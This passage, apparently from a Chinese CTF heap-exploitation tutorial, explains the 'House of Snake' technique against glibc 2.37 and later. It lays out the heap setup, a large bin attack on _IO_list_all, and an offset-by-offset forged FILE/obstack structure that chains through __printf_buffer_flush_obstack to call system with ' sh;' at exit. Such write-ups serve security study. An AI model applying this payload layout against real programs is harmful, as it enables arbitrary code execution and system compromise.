+0x5A0(ob->chunkfun),提取出system的绝对地址! - 物理对撞 3 (传参赋值): CPU 访问
+0x5B0(ob->extra_arg),将其赋值给寄存器RDI。 此时RDI = HEAP_BASE + 0x480
House of Snake
适用版本:2.37 ——至今
堆溢出,use after free
和上面的House of Lys很像
前置知识:
在 glibc 2.37 的更新中,官方安全团队终于注意到了 obstack 这个毫无底线的历史遗留物。他们采取了最简单粗暴的方法:直接删除了 _IO_obstack_jumps 虚表! 并且,原本通过流操作直接调用 obstack 的代码被全部重构,引入了一个全新的抽象层:__printf_buffer。
House of Lys 彻底死亡。所有人都以为 obstack 的后门被堵死了
直到 2023 年,国内安全研究员(7resp4ss)顺着底层源码的废墟,发现 obstack 的终极处决宏 CALL_CHUNKFUN 并没有被删除。官方只是在它前面建了一座名叫 __printf_buffer_as_file 的新桥
和上一个house of一样,我们在伪造的流中,把 write_ptr 设为 1,write_base 设为 0
系统认为有脏数据,调用虚表里的 _IO_OVERFLOW 函数,把它刷新掉
我们把vtable设置为__printf_buffer_as_file_jumps,那么_IO_OVERFLOW 函数就会访问合法的 __printf_buffer_as_file_jumps + 0x18
结果就是摸到了该虚表原本就放在这里的合法函数:__printf_buffer_as_file_overflow
当系统合法地调用了 __printf_buffer_as_file_overflow 后,函数内部的第一件事就是强制类型转换
// glibc 2.37+ 源码
int __printf_buffer_as_file_overflow (_IO_FILE *fp, int c) {
// 第一座危桥:把普通的 _IO_FILE 强转为带缓冲区的包装体!
struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp;
// 提取真正的缓冲区控制块 (存放在 fp + 0xE0 的位置)
struct __printf_buffer *next = file->next;
// 调用缓冲区刷新逻辑
Xprintf_buffer_flush (next);
// ...
}
这个 file->next 刚好位于我们熟悉的 +0xE0 偏移处。我们在堆上 +0xE0 位置填入某个绝对物理地址,系统就会毫不怀疑地把执行流引导到我们伪造的下一层结构中
接着系统把控制权和我们伪造的第二层起址(HEAP_BASE + 0x568),亲手送进了 __printf_buffer_flush(源码宏定义为 Xprintf_buffer_flush)
当进入 Xprintf_buffer_flush(buf) 后,系统准备刷新这个通用缓冲区。 既然是“通用”,系统就必须知道这个缓冲区到底是用来干嘛的(是打印到屏幕?写到字符串?还是写到 obstack?)
// glibc 内部源码
void __printf_buffer_flush (struct __printf_buffer *buf) {
// 物理动作:CPU 读取 buf->mode (也就是 buf + 0x20 偏移处的值)
// 如果我们在那里填了 mode_obstack 的枚举整数值,系统判定命中该分支
switch (buf->mode) {
// ... 其他分支被无视 ...
case __printf_buffer_mode_obstack:
// 到这里系统就会主动调用了 obstack 专属的 flush 函数
__printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf);
return;
}
}
然后系统乖乖地跳进了 __printf_buffer_flush_obstack(buf)
void __printf_buffer_flush_obstack (struct __printf_buffer *buf) {
// 将通用的 buf 强转为专属的 obstack 缓冲体
struct __printf_buffer_obstack *obuf = (struct __printf_buffer_obstack *) buf;
// 提取隐藏在最深处的 obstack 控制块!
struct obstack *ob = obuf->obstack;
// 熟悉的调用
obstack_grow (ob, buf->write_base, ...);
}
obuf->obstack 位于缓冲区的 +0x28 偏移处。我们在这里填入准备好的地址,系统就会顺着地址把那块内存当成struct obstack本尊
接下来的事情,就和 House of Lys 完全一样了:obstack_grow 判定内存满 -> 调用 _obstack_newchunk -> 执行没有任何安检的裸指针 CALL_CHUNKFUN
了解这些前置知识后,就可以开始利用了
先布置堆块布局如下:
低地址 (Heap 内存区)
+----------------------------------+
| Chunk L1 (大小 0x450) | <--- HEAP_BASE + 0x000 (状态:Allocated)
+----------------------------------+
| Chunk G1 (大小 0x020) | <--- HEAP_BASE + 0x450 (状态:Allocated)
+----------------------------------+
| Chunk Snake (大小 0x440) | <--- HEAP_BASE + 0x470 (块头)
| (用户数据区起址:+0x480) | <--- HEAP_BASE + 0x480 (状态:Allocated)
+----------------------------------+
| Chunk G2 (大小 0x020) | <--- HEAP_BASE + 0x8B0 (状态:Allocated)
+----------------------------------+
高地址
free(L1) ,L1进入unsorted bin
malloc(0x800)申请超大快,触发内存整理,使得L1进入Large bin
接着编辑Chunk Snake,使得堆布局如下:
绝对物理地址 物理偏移 原生结构体变量 (64位) 被强制写入的物理数据 (十六进制/说明)
------------------------------------------------------------------------------------------------------------------
| | =================== 第一层:_IO_FILE 基础结构 (外皮) ======================== |
HEAP_BASE + 0x480 | +0x00 | _flags (8字节) | 0x000000003b687320 (精心构造的 b' sh;')
HEAP_BASE + 0x488 | +0x08 | _IO_read_ptr ~ _IO_read_end | 0x0000000000000000
HEAP_BASE + 0x4A0 | +0x20 | _IO_write_base | 0x0000000000000000
HEAP_BASE + 0x4A8 | +0x28 | _IO_write_ptr | 0x0000000000000001 (强制 > base )
... (中间全填 0) | ... | ... | 0x0000000000000000
HEAP_BASE + 0x508 | +0x88 | _lock | [ 已知可写且为 0 的绝对物理地址 ]
... (中间全填 0) | ... | ... | 0x0000000000000000
HEAP_BASE + 0x558 | +0xD8 | vtable (虚表指针) | [ &__printf_buffer_as_file_jumps ]
------------------------------------------------------------------------------------------------------------------
| | ====== 第二层:__printf_buffer_obstack 结构 (隐藏在 _IO_FILE 尾部) ======== |
HEAP_BASE + 0x560 | +0xE0 | struct __printf_buffer *next | [ HEAP_BASE + 0x568 ] (引向下方起址)
HEAP_BASE + 0x568 | +0xE8 | char *write_base | 0x0000000000000000
HEAP_BASE + 0x570 | +0xF0 | char *write_ptr | 0x0000000000000001 ( 触发 Flush)
HEAP_BASE + 0x578 | +0xF8 | char *write_end | 0x0000000000000000
HEAP_BASE + 0x580 | +0x100 | uint64_t written | 0x0000000000000000
HEAP_BASE + 0x588 | +0x108 | enum __printf_buffer_mode mode | [ mode_obstack 枚举值 ]
HEAP_BASE + 0x590 | +0x110 | struct obstack *obstack | [ HEAP_BASE + 0x598 ] (引向下方第三层)
------------------------------------------------------------------------------------------------------------------
| | ================= 第三层:struct obstack 本体结构 (毒牙) ==================== |
HEAP_BASE + 0x598 | +0x118 | chunk_size | 0x0000000000000000
HEAP_BASE + 0x5A0 | +0x120 | chunk | 0x0000000000000000
HEAP_BASE + 0x5A8 | +0x128 | object_base | 0x0000000000000000
HEAP_BASE + 0x5B0 | +0x130 | next_free | 0x0000000000000000 (触发内存耗尽)
HEAP_BASE + 0x5B8 | +0x138 | chunk_limit | 0x0000000000000000 (触发内存耗尽)
... | ... | temp / alignment_mask | 0x0000000000000000
HEAP_BASE + 0x5D0 | +0x150 | struct _obstack_chunk *(*chunkfun) | [ system 的绝对物理地址 ]
HEAP_BASE + 0x5D8 | +0x158 | freefun | 0x0000000000000000
HEAP_BASE + 0x5E0 | +0x160 | extra_arg | [ HEAP_BASE + 0x480 ] (作为参数传入 RDI,指向 ' sh;')
HEAP_BASE + 0x5E8 | +0x168 | unsigned int use_extra_arg:1 (及其他位域) | 0x0000000000000001 (置 1激活双参数调用)
------------------------------------------------------------------------------------------------------------------
然后利用越界写或 UAF, 将 L1->bk_nextsize 改为 _IO_list_all – 0x20
接着free(Snake)并申请更大块malloc(0x800)
Snake 被挂入 L1 后方触发LBA
得到_IO_list_all ===> [ HEAP_BASE + 0x470 ]
执行 exit() 结束程序,交出控制权
合法伪装,通过安检
_IO_flush_all_lockp读到了我们的 Snake 块。- 检查
write_ptr(1) > write_base(0)成立,准备刷新 - 安检放行: 系统检查 vtable(
__printf_buffer_as_file_jumps)。发现它是 glibc 内部合法的新版虚表,完美通过_IO_validate_vtable的白名单安检 - 物理跳转: 正常执行宏
_IO_OVERFLOW,跳入__printf_buffer_as_file_overflow。
2. 第一重强转:剥去外皮,露出缓冲区
- 进入该函数后,源码执行强制转换:
file = (struct __printf_buffer_as_file *) fp; - 系统提取
file->next。 - 物理动作: CPU 读取
+0xE0(HEAP_BASE + 0x560),拿到了HEAP_BASE + 0x568(第二层缓冲区的起址),随后调用Xprintf_buffer_flush(next)。
3. 致命道岔:强行扭转运河航道
- 进入
Xprintf_buffer_flush,系统检查缓冲区是否满了:write_ptr(1) >= write_end(0),条件成立。 - 准备真正刷新缓冲区,系统查看
mode字段决定刷新方式。 - 物理动作: CPU 提取
+0x108(HEAP_BASE + 0x588)。读出枚举值mode_obstack。 - 执行流突变: 系统
switch语句命中分支,放弃普通的打印逻辑,强行跳入__printf_buffer_flush_obstack!
4. 第二重强转
- 进入新函数后,源码执行最后一次强转:
obuf = (struct __printf_buffer_obstack *) buf; - 系统提取
obuf->obstack。 - 物理动作: CPU 读取
buf + 0x28(即绝对地址HEAP_BASE + 0x590),拿到了HEAP_BASE + 0x598(第三层上古核心的起址)。调用obstack_grow(ob, ...)。
5. 剥离保护然后(CALL_CHUNKFUN)
- 执行流回到了和 House of Lys 一模一样的裸奔地带
- 检查
next_free + len > chunk_limit(0 + 1 > 0成立)。判定内存耗尽,进入_obstack_newchunk。 - 检查
use_extra_arg(+0x168= 1)。安检放行,走双参数调用分支。 - 提取
chunkfun(+0x150) 得到system_addr。 - 提取
extra_arg(+0x160) 得到HEAP_BASE + 0x480,塞入RDI。 - 终局汇编:
CALL system_addr。顺着RDI读出最开头的sh;









